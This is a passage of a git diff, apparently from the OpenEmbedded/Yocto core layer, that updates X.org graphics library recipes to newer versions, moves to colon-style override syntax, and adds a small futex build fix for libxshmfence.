LIC_FILES_CHKSUM = "file://COPYING;md5=a46c8040f2f737bcd0c435feb2ab1c2c"
DEPENDS += "freetype xtrans xorgproto libfontenc zlib"
diff --git a/meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb b/meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb
deleted file mode 100644
index 65bd9ae494..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "XFt: X FreeType libary"
-
-DESCRIPTION = "Xft was designed to provide good support for scalable \
-fonts, and to do so efficiently. Unlike the core fonts system, it \
-supports features such as anti-aliasing and sub-pixel rasterisation. \
-Perhaps more importantly, it gives applications full control over the \
-way glyphs are rendered, making fine typesetting and WYSIWIG display \
-possible. Finally, it allows applications to use fonts that are not \
-installed system-wide for displaying documents with embedded fonts. Xft \
-is not compatible with the core fonts system: usage of Xft requires \
-fairly extensive changes to toolkits (user-interface libraries)."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=90b90b60eb30f65fc9c2673d7cf59e24"
-
-DEPENDS += "virtual/libx11 libxrender freetype fontconfig"
-PROVIDES = "xft"
-
-PE = "1"
-
-SRC_URI[md5sum] = "4a433c24627b4ff60a4dd403a0990796"
-SRC_URI[sha256sum] = "225c68e616dd29dbb27809e45e9eadf18e4d74c50be43020ef20015274529216"
-
-XORG_PN = "libXft"
-
-BBCLASSEXTEND = "native nativesdk"
-
-python () {
- if d.getVar('DEBIAN_NAMES'):
- d.setVar('PKG_${PN}', '${MLPREFIX}libxft2')
-}
diff --git a/meta/recipes-graphics/xorg-lib/libxft_2.3.4.bb b/meta/recipes-graphics/xorg-lib/libxft_2.3.4.bb
new file mode 100644
index 0000000000..12636914dd
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxft_2.3.4.bb
@@ -0,0 +1,32 @@
+SUMMARY = "XFt: X FreeType libary"
+
+DESCRIPTION = "Xft was designed to provide good support for scalable \
+fonts, and to do so efficiently. Unlike the core fonts system, it \
+supports features such as anti-aliasing and sub-pixel rasterisation. \
+Perhaps more importantly, it gives applications full control over the \
+way glyphs are rendered, making fine typesetting and WYSIWIG display \
+possible. Finally, it allows applications to use fonts that are not \
+installed system-wide for displaying documents with embedded fonts. Xft \
+is not compatible with the core fonts system: usage of Xft requires \
+fairly extensive changes to toolkits (user-interface libraries)."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=90b90b60eb30f65fc9c2673d7cf59e24"
+
+DEPENDS += "virtual/libx11 libxrender freetype fontconfig"
+PROVIDES = "xft"
+
+PE = "1"
+
+SRC_URI[sha256sum] = "57dedaab20914002146bdae0cb0c769ba3f75214c4c91bd2613d6ef79fc9abdd"
+
+XORG_PN = "libXft"
+
+BBCLASSEXTEND = "native nativesdk"
+
+python populate_packages:prepend () {
+ if d.getVar('DEBIAN_NAMES'):
+ d.setVar('PKG:${PN}', '${MLPREFIX}libxft2')
+}
diff --git a/meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb b/meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb
deleted file mode 100644
index 5a08e07362..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require xorg-lib-common.inc
-
-SUMMARY = "XI: X Input extension library"
-
-DESCRIPTION = "libxi is an extension to the X11 protocol to support \
-input devices other than the core X keyboard and pointer. It allows \
-client programs to select input from these devices independently from \
-each other and independently from the core devices."
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=17b064789fab936a1c58c4e13d965b0f \
- file://src/XIGetDevFocus.c;endline=23;md5=cdfb0d435a33ec57ea0d1e8e395b729f"
-
-DEPENDS += "libxext xorgproto libxfixes"
-
-PE = "1"
-
-XORG_PN = "libXi"
-
-SRC_URI[md5sum] = "62c4af0839072024b4b1c8cbe84216c7"
-SRC_URI[sha256sum] = "36a30d8f6383a72e7ce060298b4b181fd298bc3a135c8e201b7ca847f5f81061"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxi_1.8.bb b/meta/recipes-graphics/xorg-lib/libxi_1.8.bb
new file mode 100644
index 0000000000..83101c5736
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxi_1.8.bb
@@ -0,0 +1,22 @@
+require xorg-lib-common.inc
+
+SUMMARY = "XI: X Input extension library"
+
+DESCRIPTION = "libxi is an extension to the X11 protocol to support \
+input devices other than the core X keyboard and pointer. It allows \
+client programs to select input from these devices independently from \
+each other and independently from the core devices."
+
+LICENSE = "MIT & MIT-style"
+LIC_FILES_CHKSUM = "file://COPYING;md5=17b064789fab936a1c58c4e13d965b0f \
+ file://src/XIGetDevFocus.c;endline=23;md5=cdfb0d435a33ec57ea0d1e8e395b729f"
+
+DEPENDS += "libxext xorgproto libxfixes"
+
+PE = "1"
+
+XORG_PN = "libXi"
+
+SRC_URI[sha256sum] = "2ed181446a61c7337576467870bc5336fc9e222a281122d96c4d39a3298bba00"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxkbcommon_1.0.1.bb b/meta/recipes-graphics/xorg-lib/libxkbcommon_1.0.1.bb
deleted file mode 100644
index fc35bc613b..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxkbcommon_1.0.1.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Generic XKB keymap library"
-DESCRIPTION = "libxkbcommon is a keymap compiler and support library which \
-processes a reduced subset of keymaps as defined by the XKB specification."
-HOMEPAGE = "http://www.xkbcommon.org"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e525ed9809e1f8a07cf4bce8b09e8b87"
-LICENSE = "MIT & MIT-style"
-
-DEPENDS = "util-macros flex-native bison-native"
-
-SRC_URI = "http://xkbcommon.org/download/${BPN}-${PV}.tar.xz"
-
-SRC_URI[sha256sum] = "ab68b25341c99f2218d7cf3dad459c1827f411219901ade05bbccbdb856b6c8d"
-
-UPSTREAM_CHECK_URI = "http://xkbcommon.org/"
-
-inherit meson pkgconfig
-
-EXTRA_OEMESON = "-Denable-docs=false -Denable-xkbregistry=false"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)}"
-PACKAGECONFIG[x11] = "-Denable-x11=true,-Denable-x11=false,libxcb xkeyboard-config,"
-PACKAGECONFIG[wayland] = "-Denable-wayland=true,-Denable-wayland=false,wayland-native wayland wayland-protocols,"
-
-# Fix a following runtime error:
-# xkbcommon: ERROR: couldn't find a Compose file for locale "C"
-RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'libx11-locale', 'libx11-compose-data', d)}"
diff --git a/meta/recipes-graphics/xorg-lib/libxkbcommon_1.3.1.bb b/meta/recipes-graphics/xorg-lib/libxkbcommon_1.3.1.bb
new file mode 100644
index 0000000000..7c5079c452
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxkbcommon_1.3.1.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Generic XKB keymap library"
+DESCRIPTION = "libxkbcommon is a keymap compiler and support library which \
+processes a reduced subset of keymaps as defined by the XKB specification."
+HOMEPAGE = "http://www.xkbcommon.org"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e525ed9809e1f8a07cf4bce8b09e8b87"
+LICENSE = "MIT & MIT-style"
+
+DEPENDS = "flex-native bison-native"
+
+SRC_URI = "http://xkbcommon.org/download/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "b3c710d27a2630054e1e1399c85b7f330ef03359b460f0c1b3b587fd01fe9234"
+
+UPSTREAM_CHECK_URI = "http://xkbcommon.org/"
+
+inherit meson pkgconfig
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)} xkbregistry"
+
+PACKAGECONFIG[docs] = "-Denable-docs=true,-Denable-docs=false,doxygen-native"
+PACKAGECONFIG[wayland] = "-Denable-wayland=true,-Denable-wayland=false,wayland-native wayland wayland-protocols,"
+PACKAGECONFIG[x11] = "-Denable-x11=true,-Denable-x11=false,libxcb xkeyboard-config,"
+PACKAGECONFIG[xkbregistry] = "-Denable-xkbregistry=true,-Denable-xkbregistry=false,libxml2"
+
+PACKAGE_BEFORE_PN += "xkbcli"
+FILES:${PN} = ""
+FILES:xkbcli = "${bindir}/xkbcli ${libexecdir}/xkbcommon/xkbcli-*"
+
+python populate_packages:prepend () {
+ # Put the libraries into separate packages to avoid dependency creep
+ do_split_packages(d, d.expand('${libdir}'), r'^(lib.*)\.so\.*', '%s', '%s library', extra_depends='', allow_links=True)
+}
+
+# Fix a following runtime error:
+# xkbcommon: ERROR: couldn't find a Compose file for locale "C"
+RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'libx11-locale', 'libx11-compose-data', d)}"
diff --git a/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb b/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb
index dc3179f53e..7e92d0499a 100644
--- a/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb
+++ b/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb
@@ -23,7 +23,7 @@ LEAD_SONAME = "libXmu"
PACKAGES =+ "libxmuu"
-FILES_libxmuu = "${libdir}/libXmuu.so.*"
+FILES:libxmuu = "${libdir}/libXmuu.so.*"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb b/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb
index fda8e32d2c..4f0a5d7ba0 100644
--- a/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb
+++ b/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb
@@ -18,8 +18,8 @@ PE = "1"
XORG_PN = "libXpm"
PACKAGES =+ "sxpm cxpm"
-FILES_cxpm = "${bindir}/cxpm"
-FILES_sxpm = "${bindir}/sxpm"
+FILES:cxpm = "${bindir}/cxpm"
+FILES:sxpm = "${bindir}/sxpm"
SRC_URI[md5sum] = "6f0ecf8d103d528cfc803aa475137afa"
SRC_URI[sha256sum] = "9cd1da57588b6cb71450eff2273ef6b657537a9ac4d02d0014228845b935ac25"
diff --git a/meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb b/meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb
deleted file mode 100644
index af6bb19a25..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "XRes: X Resource extension library"
-
-DESCRIPTION = "libXRes provides an X Window System client interface to \
-the Resource extension to the X protocol. The Resource extension allows \
-for X clients to see and monitor the X resource usage of various clients \
-(pixmaps, et al)."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8c89441a8df261bdc56587465e13c7fa"
-
-DEPENDS += "libxext xorgproto"
-
-PE = "1"
-
-XORG_PN = "libXres"
-
-SRC_URI[md5sum] = "5d6d443d1abc8e1f6fc1c57fb27729bb"
-SRC_URI[sha256sum] = "ff75c1643488e64a7cfbced27486f0f944801319c84c18d3bd3da6bf28c812d4"
diff --git a/meta/recipes-graphics/xorg-lib/libxres_1.2.1.bb b/meta/recipes-graphics/xorg-lib/libxres_1.2.1.bb
new file mode 100644
index 0000000000..29a799a328
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxres_1.2.1.bb
@@ -0,0 +1,19 @@
+SUMMARY = "XRes: X Resource extension library"
+
+DESCRIPTION = "libXRes provides an X Window System client interface to \
+the Resource extension to the X protocol. The Resource extension allows \
+for X clients to see and monitor the X resource usage of various clients \
+(pixmaps, et al)."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8c89441a8df261bdc56587465e13c7fa"
+
+DEPENDS += "libxext xorgproto"
+
+PE = "1"
+
+XORG_PN = "libXres"
+
+SRC_URI[sha256sum] = "b6e6fb1ebb61610e56017edd928fb89a5f53b3f4f990078309877468663b2b11"
diff --git a/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb b/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb
index aed52e75ee..b52fd00f1a 100644
--- a/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb
+++ b/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb
@@ -14,7 +14,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=21fd154ee757813632ada871a34113fb"
DEPENDS += "libxext xorgproto"
PROVIDES = "libxss"
-RREPLACES_${PN} = "libxss"
+RREPLACES:${PN} = "libxss"
PE = "1"
XORG_PN = "libXScrnSaver"
diff --git a/meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch b/meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch
new file mode 100644
index 0000000000..3e87794d20
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch
@@ -0,0 +1,39 @@
+From 5827f6389a227157958d14a687fb29223cb3a03a Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Wed, 7 Apr 2021 07:48:42 +0000
+Subject: [PATCH] xshmfence_futex.h: Define SYS_futex if it does not exist
+
+_NR_futex is not defines by newer architectures e.g. riscv32 as
+they only have 64bit variant of time_t. Glibc defines SYS_futex
+interface based on __NR_futex, since this is used in applications,
+such applications start to fail to build for these newer architectures.
+This patch defines a fallback to alias __NR_futex to __NR_futex_time64
+to make SYS_futex keep working.
+
+Reference: https://git.openembedded.org/openembedded-core/commit/?id=7a218adf9990f5e18d0b6a33eb34091969f979c7
+
+Upstream-Status: Pending
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ src/xshmfence_futex.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/xshmfence_futex.h b/src/xshmfence_futex.h
+index 673ac0e..a71efa5 100644
+--- a/src/xshmfence_futex.h
++++ b/src/xshmfence_futex.h
+@@ -53,6 +53,10 @@ static inline int futex_wait(int32_t *addr, int32_t value) {
+ #include <sys/time.h>
+ #include <sys/syscall.h>
+
++#if !defined(SYS_futex) && defined(SYS_futex_time64)
++#define SYS_futex SYS_futex_time64
++#endif
++
+ static inline long sys_futex(void *addr1, int op, int val1, struct timespec *timeout, void *addr2, int val3)
+ {
+ return syscall(SYS_futex, addr1, op, val1, timeout, addr2, val3);
+--
+2.29.2
+
diff --git a/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb b/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb
index cc45696530..d153c7a603 100644
--- a/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb
+++ b/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb
@@ -13,7 +13,9 @@ DEPENDS += "virtual/libx11"
EXTRA_OECONF += "--with-shared-memory-dir=/dev/shm"
-BBCLASSEXTEND = "native nativesdk"
+SRC_URI += "file://0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch"
SRC_URI[md5sum] = "42dda8016943dc12aff2c03a036e0937"
SRC_URI[sha256sum] = "b884300d26a14961a076fbebc762a39831cb75f92bed5ccf9836345b459220c7"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb b/meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb
deleted file mode 100644
index 54384521c8..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Xt: X Toolkit Intrinsics library"
-
-DESCRIPTION = "The Intrinsics are a programming library tailored to the \
-special requirements of user interface construction within a network \
-window system, specifically the X Window System. The Intrinsics and a \
-widget set make up an X Toolkit. The Intrinsics provide the base \
-mechanism necessary to build a wide variety of interoperating widget \
-sets and application environments. The Intrinsics are a layer on top of \
-Xlib, the C Library X Interface. They extend the fundamental \
-abstractions provided by the X Window System while still remaining \
-independent of any particular user interface policy or style."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=73d55cea4d27ca1a09a5d23378b3ecf8"
-
-DEPENDS += "util-linux libxcb libsm virtual/libx11 xorgproto libxdmcp"
-PROVIDES = "xt"
-
-PE = "1"
-
-XORG_PN = "libXt"
-
-SRC_URI += "file://libxt_fix_for_x32.patch"
-
-SRC_URI[md5sum] = "a9019421d3ee8b4937b6afd9025f018a"
-SRC_URI[sha256sum] = "b31df531dabed9f4611fc8980bc51d7782967e2aff44c4105251a1acb5a77831"
-
-BBCLASSEXTEND = "native nativesdk"
-
-EXTRA_OECONF += "--disable-xkb"
diff --git a/meta/recipes-graphics/xorg-lib/libxt_1.2.1.bb b/meta/recipes-graphics/xorg-lib/libxt_1.2.1.bb
new file mode 100644
index 0000000000..8f2cded1df
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxt_1.2.1.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Xt: X Toolkit Intrinsics library"
+
+DESCRIPTION = "The Intrinsics are a programming library tailored to the \
+special requirements of user interface construction within a network \
+window system, specifically the X Window System. The Intrinsics and a \
+widget set make up an X Toolkit. The Intrinsics provide the base \
+mechanism necessary to build a wide variety of interoperating widget \
+sets and application environments. The Intrinsics are a layer on top of \
+Xlib, the C Library X Interface. They extend the fundamental \
+abstractions provided by the X Window System while still remaining \
+independent of any particular user interface policy or style."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT & MIT-style"
+LIC_FILES_CHKSUM = "file://COPYING;md5=73d55cea4d27ca1a09a5d23378b3ecf8"
+
+DEPENDS += "util-linux libxcb libsm virtual/libx11 xorgproto libxdmcp"
+PROVIDES = "xt"
+
+PE = "1"
+
+XORG_PN = "libXt"
+
+SRC_URI += "file://libxt_fix_for_x32.patch"
+
+SRC_URI[sha256sum] = "679cc08f1646dbd27f5e48ffe8dd49406102937109130caab02ca32c083a3d60"
+
+BBCLASSEXTEND = "native nativesdk"
+
+EXTRA_OECONF += "--disable-xkb"
diff --git a/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb b/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb
index 5a3bb22ec3..ab9595cc75 100644
--- a/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb
+++ b/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb
@@ -31,5 +31,11 @@ EXTRA_OEMESON = "-Dgtk=disabled -Dlibpng=disabled"
# ld: pixman/libpixman-mmx.a(pixman-mmx.c.o):
# linking mips:loongson_2f module with previous mips:isa64 modules
EXTRA_OEMESON += "-Dloongson-mmi=disabled"
+# disable iwmmxt due to compile fails on most arm platforms.
+EXTRA_OEMESON += "-Diwmmxt=disabled"
+
+EXTRA_OEMESON:append:class-target:powerpc = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "-Dvmx=enabled", "-Dvmx=disabled", d)}"
+EXTRA_OEMESON:append:class-target:powerpc64 = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "-Dvmx=enabled", "-Dvmx=disabled", d)}"
+EXTRA_OEMESON:append:class-target:powerpc64le = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "-Dvmx=enabled", "-Dvmx=disabled", d)}"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.31.bb b/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.31.bb
deleted file mode 100644
index ad150544e1..0000000000
--- a/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.31.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Keyboard configuration database for X Window"
-
-DESCRIPTION = "The non-arch keyboard configuration database for X \
-Window. The goal is to provide the consistent, well-structured, \
-frequently released open source of X keyboard configuration data for X \
-Window System implementations. The project is targeted to XKB-based \
-systems."
-
-HOMEPAGE = "http://freedesktop.org/wiki/Software/XKeyboardConfig"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xkeyboard-config"
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0e7f21ca7db975c63467d2e7624a12f9"
-
-SRC_URI = "${XORG_MIRROR}/individual/data/xkeyboard-config/${BPN}-${PV}.tar.bz2"
-SRC_URI[sha256sum] = "da44181f2c8828789c720decf7d13acb3c3950e2a040af5132f50f04bb6aada3"
-
-SECTION = "x11/libs"
-DEPENDS = "util-macros libxslt-native"
-
-EXTRA_OECONF = "--with-xkb-rules-symlink=xorg --disable-runtime-deps"
-
-FILES_${PN} += "${datadir}/X11/xkb"
-
-inherit autotools pkgconfig gettext python3native
-
-do_install_append () {
- install -d ${D}${datadir}/X11/xkb/compiled
- cd ${D}${datadir}/X11/xkb/rules && ln -sf base xorg
-}
diff --git a/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.34.bb b/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.34.bb
new file mode 100644
index 0000000000..5d431a4172
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.34.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Keyboard configuration database for X Window"
+
+DESCRIPTION = "The non-arch keyboard configuration database for X \
+Window. The goal is to provide the consistent, well-structured, \
+frequently released open source of X keyboard configuration data for X \
+Window System implementations. The project is targeted to XKB-based \
+systems."
+
+HOMEPAGE = "http://freedesktop.org/wiki/Software/XKeyboardConfig"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xkeyboard-config"
+
+LICENSE = "MIT & MIT-style"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0e7f21ca7db975c63467d2e7624a12f9"
+
+SRC_URI = "${XORG_MIRROR}/individual/data/xkeyboard-config/${BPN}-${PV}.tar.bz2"
+SRC_URI[sha256sum] = "b321d27686ee7e6610ffe7b56e28d5bbf60625a1f595124cd320c0caa717b8ce"
+
+SECTION = "x11/libs"
+DEPENDS = "util-macros libxslt-native"
+
+EXTRA_OECONF = "--with-xkb-rules-symlink=xorg --disable-runtime-deps"
+
+FILES:${PN} += "${datadir}/X11/xkb"
+
+inherit autotools pkgconfig gettext python3native
+
+do_install:append () {
+ install -d ${D}${datadir}/X11/xkb/compiled
+ cd ${D}${datadir}/X11/xkb/rules && ln -sf base xorg
+}
diff --git a/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb b/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb
index 5bf134b5f8..f33f6f0215 100644
--- a/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb
+++ b/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb
@@ -16,7 +16,7 @@ SRC_URI += "file://multilibfix.patch"
PE = "1"
-RDEPENDS_${PN}-dev = ""
+RDEPENDS:${PN}-dev = ""
inherit gettext
diff --git a/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.1.bb b/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.1.bb
index 52e474a2e9..e530a055ab 100644
--- a/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.1.bb
+++ b/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.1.bb
@@ -18,11 +18,11 @@ inherit autotools pkgconfig python3native
PACKAGES += "python-xcbgen"
-FILES_${PN} = ""
-FILES_${PN}-dev += "${datadir}/xcb/*.xml ${datadir}/xcb/*.xsd"
-FILES_python-xcbgen = "${PYTHON_SITEPACKAGES_DIR}"
+FILES:${PN} = ""
+FILES:${PN}-dev += "${datadir}/xcb/*.xml ${datadir}/xcb/*.xsd"
+FILES:python-xcbgen = "${PYTHON_SITEPACKAGES_DIR}"
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-proto/xorgproto_2020.1.bb b/meta/recipes-graphics/xorg-proto/xorgproto_2020.1.bb
deleted file mode 100644
index c71bc9038f..0000000000
--- a/meta/recipes-graphics/xorg-proto/xorgproto_2020.1.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-
-SUMMARY = "X Window System unified protocol definitions"
-DESCRIPTION = "This package provides the headers and specification documents defining \
-the core protocol and (many) extensions for the X Window System"
-HOMEPAGE = "http://www.x.org"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
-
-SECTION = "x11/libs"
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING-x11proto;md5=b9e051107d5628966739a0b2e9b32676"
-
-SRC_URI = "${XORG_MIRROR}/individual/proto/${BP}.tar.bz2"
-SRC_URI[md5sum] = "c29f4fa78f53b52b3efdc71ebd9506b6"
-SRC_URI[sha256sum] = "54a153f139035a376c075845dd058049177212da94d7a9707cf9468367b699d2"
-
-inherit meson
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[legacy] = "-Dlegacy=true,-Dlegacy=false"
-
-# Datadir only used to install pc files, $datadir/pkgconfig
-datadir="${libdir}"
-# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-proto/xorgproto_2021.5.bb b/meta/recipes-graphics/xorg-proto/xorgproto_2021.5.bb
new file mode 100644
index 0000000000..8edb4596ad
--- /dev/null
+++ b/meta/recipes-graphics/xorg-proto/xorgproto_2021.5.bb
@@ -0,0 +1,25 @@
+SUMMARY = "X Window System unified protocol definitions"
+DESCRIPTION = "This package provides the headers and specification documents defining \
+the core protocol and (many) extensions for the X Window System"
+HOMEPAGE = "http://www.x.org"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
+
+SECTION = "x11/libs"
+LICENSE = "MIT-style"
+LIC_FILES_CHKSUM = "file://COPYING-x11proto;md5=dfc4bd2b0568b31725b85b0604e69b56"
+
+SRC_URI = "${XORG_MIRROR}/individual/proto/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "aa2f663b8dbd632960b24f7477aa07d901210057f6ab1a1db5158732569ca015"
+
+inherit meson
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[legacy] = "-Dlegacy=true,-Dlegacy=false"
+
+# Datadir only used to install pc files, $datadir/pkgconfig
+datadir="${libdir}"
+# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb b/meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb
deleted file mode 100644
index 268059935c..0000000000
--- a/meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "X autotools macros"
-
-DESCRIPTION = "M4 autotools macros used by various X.org programs."
-
-require xorg-util-common.inc
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1970511fddd439b07a6ba789d28ff662"
-
-PE = "1"
-
-SRC_URI[md5sum] = "5059b328fac086b733ffac6607164c41"
-SRC_URI[sha256sum] = "9225c45c3de60faf971979a55a5536f3562baa4b6f02246c23e98ac0c09a75b7"
-
-# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-util/util-macros_1.19.3.bb b/meta/recipes-graphics/xorg-util/util-macros_1.19.3.bb
new file mode 100644
index 0000000000..80e7590400
--- /dev/null
+++ b/meta/recipes-graphics/xorg-util/util-macros_1.19.3.bb
@@ -0,0 +1,19 @@
+SUMMARY = "X autotools macros"
+
+DESCRIPTION = "M4 autotools macros used by various X.org programs."
+
+require xorg-util-common.inc
+
+LICENSE = "MIT & MIT-style"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1970511fddd439b07a6ba789d28ff662"
+
+PE = "1"
+
+SRC_URI[md5sum] = "66cb74d4a0120a06e32c3b01c29417d8"
+SRC_URI[sha256sum] = "624bb6c3a4613d18114a7e3849a3d70f2d7af9dc6eabeaba98060d87e3aef35b"
+
+# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb
index 5420b7d23e..e9788ab7c6 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb
